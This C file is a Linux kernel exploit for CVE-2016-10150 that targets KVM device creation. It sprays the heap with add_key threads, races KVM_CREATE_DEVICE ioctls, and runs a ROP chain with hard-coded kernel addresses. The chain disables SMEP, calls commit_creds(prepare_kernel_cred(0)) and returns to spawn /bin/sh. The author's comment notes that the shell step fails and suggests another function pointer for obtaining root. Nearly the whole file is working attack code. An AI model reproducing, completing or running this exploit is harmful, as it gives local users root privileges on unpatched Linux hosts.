exp.c

/*
 * exploit for cve-2016-10150
 *
 * author: ww9210
 * 
 * The exploit allows you to execute ROP payload, however not able to get a shell because the function mmu_notifier_release is called upon exit. To get a root shell, you should try other function pointer.
 */
#include <stdio.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <string.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <linux/kvm.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#define THREADS_NUM 2000
// exploit
#define native_write_cr4 0xffffffff810a3b00
#define PREPARE_KERNEL_CRED 0xffffffff810d7400
#define COMMIT_CREDS 0xffffffff810d7050
#define poprdiret 0xffffffff8103806d
#define swapgs 0xffffffff810a3bc4
#define iretq 0xffffffff8104cfc2
#define stack_pivot_gadget 0xffffffff817383e8
#define stack_top_offset 0x0
#define krop_base_to_map 0x81738000
int rop_start=0x3e8;
void* krop_base_mapped;
unsigned long user_cs, user_ss, user_rflags;
static void save_state()
{
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
        :
        : "memory");
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_shell()
{
    char *shell = "/bin/sh";
    char *args[] = {shell, NULL};
	pid_t pid;
	sleep(1);
    execve(shell, args, NULL);
}

void get_root_payload(void)
{
    commit_creds(prepare_kernel_cred(0));
}
unsigned long rop_chain[] = {
    poprdiret,
    0x26e0,
    native_write_cr4,
    get_root_payload,
    swapgs,
    0, //dummy
    iretq,
    get_shell,
    0,//user_cs,
    0,//user_rflags,
    0,//krop_base_mapped + 0x4000,
    0//user_ss
};

void prepare_krop(){
    krop_base_mapped=mmap((void *)krop_base_to_map-0xe000,0xf000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
    if (krop_base_mapped<0){
        perror("mmap failed");
    }
    rop_chain[8]=user_cs;
    rop_chain[9]=user_rflags;
    rop_chain[10]=krop_base_mapped + 0xe000;
    rop_chain[11]=user_ss;
	memset(krop_base_mapped,'\x00',0xf000);
    memcpy(krop_base_to_map+rop_start,rop_chain,sizeof(rop_chain));
    puts("rop_payload_initialized");
}
// end exploit related
//==globals
int dev=-1;
int vmfd;
char *addr;
//==end of globals
int do_spray=1;
void *kmalloc()
{
	while(do_spray){
		syscall(__NR_add_key, "user", "wtf", addr, 15, -2);
	}
}
void spray()
{
	pthread_t th[THREADS_NUM];
	int i;
	for(i=0;i<THREADS_NUM;i++)
	if(pthread_create(&th[i], NULL, kmalloc, (void*) NULL) != 0){
		fprintf(stderr, "couldn't thread create\n");
		system("echo ww9210_thread_create_fail > /dev/kmsg");
		exit(1);
	}
}
		
int types[] = {KVM_DEV_TYPE_FSL_MPIC_20
            , KVM_DEV_TYPE_FSL_MPIC_42
            , KVM_DEV_TYPE_XICS
            , KVM_DEV_TYPE_VFIO
            , KVM_DEV_TYPE_FLIC
            , KVM_DEV_TYPE_ARM_VGIC_V3
            , KVM_DEV_TYPE_MAX
        };

void * alloc_umem(void *addr_to_map,size_t size)
{

	void *addr;
    addr = mmap((void*)addr_to_map,4096,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_SHARED|MAP_ANONYMOUS,-1,0);
    if(addr == (char *)-1) {
        perror("mmap");
        return NULL;
    }
    return addr;
}

int main()
{
	int ret,j;
	int cpufd;
	unsigned long i;
	char * mem;
	pthread_t th[2]={0};
	int file_fd[2048];			

	addr = (char *)alloc_umem((void*)0x80000000,4096);
	(char *)alloc_umem((void*)0x616263646000,4096);
	*(unsigned long*)(0x616263646566)=stack_pivot_gadget;
	*(unsigned long*)(addr+6)=0x80000000;
	*(unsigned long*)(addr+14)=    0x6162636465666768;
	*(unsigned long*)(addr+14+8*1)=0x1000000000000000;
	*(unsigned long*)(addr+14+8*2)=0x2000000000000000;
	*(unsigned long*)(addr+14+8*3)=0x3000000000000000;
	*(unsigned long*)(addr+14+8*4)=0x4000000000000000;
	*(unsigned long*)(addr+14+8*5)=0x5000000000000000;
	*(unsigned long*)(addr+14+8*6)=0x6000000000000000;
	*(unsigned long*)(addr+14+8*7)=0x6000000000000000;
	*(unsigned long*)(addr+14+8*8)=0x7000000000000000;
	*(unsigned long*)(addr+14+8*9)=0x8000000000000000;

	save_state();
	prepare_krop();
	for(j=0;j<1019;j++)
	{
		printf("---open file %d---\n",j);
		ret = open("/tmp/1",O_WRONLY|O_CREAT);
		if(ret<0){
			perror("open");
			return 0;
		}
		file_fd[j]	=ret;
	}
	for(i=0;i<1;i++)
	{
		dev = open("/dev/kvm", O_RDWR|O_CLOEXEC);
		if(dev < 0)
		{
			perror("open kvm");
			exit(1);
		}
		vmfd = ioctl(dev, KVM_CREATE_VM, (unsigned long)0);
		if(vmfd<0)
		{
			perror("create vm");
		}	
		spray();
		struct kvm_create_device cd={0};
		for(j=0;j<0x1000000;j++){
			cd.type=types[3];
			cd.flags=0;

			ret=ioctl(vmfd, KVM_CREATE_DEVICE, &cd);
			if(*(unsigned long*)(addr+6)!=0x80000000){
				break;
			}
		}
	}
	printf("you win");
	printf("next:%p\n",(void*)*(unsigned long*)(addr+8));
	printf("prev:%p\n",(void*)*(unsigned long*)(addr+16));
	return 1;
}